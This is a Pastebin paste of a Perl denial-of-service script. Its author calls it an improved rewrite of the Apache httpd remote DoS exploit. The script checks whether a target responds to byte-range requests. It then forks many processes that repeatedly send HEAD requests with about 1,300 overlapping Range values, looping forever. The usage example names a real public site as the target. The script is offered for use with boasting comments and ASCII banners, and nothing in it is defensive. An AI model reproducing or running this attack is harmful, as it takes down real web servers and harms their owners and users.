Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- #I've re-wrote the apache httpd remote dos exploit into perl
- #It's the best version you'll ever find of "HRD"
- #I've made the python version but i don't know about releasing it just yet
- #Whoever made the first version was slightly off skilled on their perl
- #courses, but thank you to me for the fixed, faster & better version
- #of apache httpd remote dos.
- #############################
- # C O M M A N D | U S A G E #
- #############################
- #Usage: perl hdr.pl TARGET FORK
- #Example: perl hdr.pl www.google.com 50
- #[50] = FORKS (50-90000000)
- #[www.google.com] = TARGET
- #############################
- # #
- # # ##### ##### ##### #####
- # # # # # # # #
- ####### # # # # # #
- # # # # ##### # #
- # # # # # # #
- # # # # # #####
- ######
- # # ###### # # #### ##### ######
- # # # ## ## # # # #
- ###### ##### # ## # # # # #####
- # # # # # # # # #
- # # # # # # # # #
- # # ###### # # #### # ######
- ###### #####
- # # #### # #
- # # # # #
- # # # # #####
- # # # # #
- # # # # # #
- ###### #### #####
- use IO::Socket;
- use Parallel::ForkManager;
- print "_ _ ___ ___ ___ ____ \n";
- print "|__| | | |__] | ) \n";
- print "| | | | | |__/ \n";
- print "____ ____ __ ___ ___ ____ \n";
- print "|__/|___ |)(| | | | |___ \n";
- print "| )|___ | | |__| | |___ \n";
- print " __ __ ___ \n";
- print "| ) | | |___ \n";
- print "|__/ |__| ___| \n";
- print "Testing apache parameters... Please wait\n";
- sub usage {
- print "perl hdr.pl TARGET FORKS\n";
- print "Example: perl hdr.pl www.google.com 50\n";
- print "[50] = FORKS\n";
- print "[www.google.com] = TARGET\n";
- }
- print " \033[2J";
- sub remotedos {
- print "ATTACKING $ARGV[0] [using $numforks forks]\n";
- $pm = new Parallel::ForkManager($numforks);
- $|=1;
- srand(time());
- $p = "";
- for ($k=0;$k<1300;$k++) {
- $p .= ",5-$k";
- }
- for ($k=0;$k<$numforks;$k++) {
- my $pid = $pm->start and next;
- $x = "";
- my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
- PeerPort => "80",
- Proto => 'tcp');
- $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
- print $sock $p;
- while(<$sock>) {
- }
- $pm->finish;
- }
- $pm->wait_all_children;
- }
- sub hrd {
- my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
- PeerPort => "80",
- Proto => 'tcp');
- $x = <$sock>;
- if ($x =~ /Partial/) {
- print "_ _ ___ ___ ___ ____ \n";
- print "|__| | | |__] | ) \n";
- print "| | | | | |__/ \n";
- print "____ ____ __ ___ ___ ____ \n";
- print "|__/|___ |)(| | | | |___ \n";
- print "| )|___ | | |__| | |___ \n";
- print " __ __ ___ \n";
- print "| ) | | |___ \n";
- print "|__/ |__| ___| \n";
- print "Target is vulnerable!\n";
- return 1;
- } else {
- return 0;
- }
- }
- if ($#ARGV < 0) {
- usage;
- exit;
- }
- if ($#ARGV > 1) {
- $numforks = $ARGV[1];
- } else {$numforks = 50;}
- $v = hrd();
- if ($v == 0) {
- print " ,;:::::::::::::::::;, / / DOOOO\n";
- print " ,::::::;::::::;;;;::::;, / / DOOO\n";
- print " ;:::::::::::::::;;;::::: ,#/ / DOOO\n";
- print " :`:::::::`;::::::;;::: ;::# / DOOO\n";
- print " :::::::::::;::::::::::::::# / DOO\n";
- print " `:`:::::::`;:::::: ;::::::#/ DOO\n";
- print " ::::::::::::;; ;:::::::::## OO\n";
- print " ::::`:::::::`;::::::::;:::# OO\n";
- print " ::::::::::::::::::;'`:;:::# O\n";
- print " `:::::`::::::::;' / / `:#\n";
- print " ::::::`:::::;' / / #\n";
- print "_ _ ___ ___ ___ ____ \n";
- print "|__| | | |__] | ) \n";
- print "| | | | | |__/ \n";
- print "____ ____ __ ___ ___ ____ \n";
- print "|__/|___ |)(| | | | |___ \n";
- print "| )|___ | | |__| | |___ \n";
- print " __ __ ___ \n";
- print "| ) | | |___ \n";
- print "|__/ |__| ___| \n";
- print "____________________________________________________\n";
- print "Host does not seem vulnerable to httpd remote DoS!\n";
- print "Please try a target vulnerable to httpd remote DoS!\n";
- exit;
- }
- while(1) {
- remotedos();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement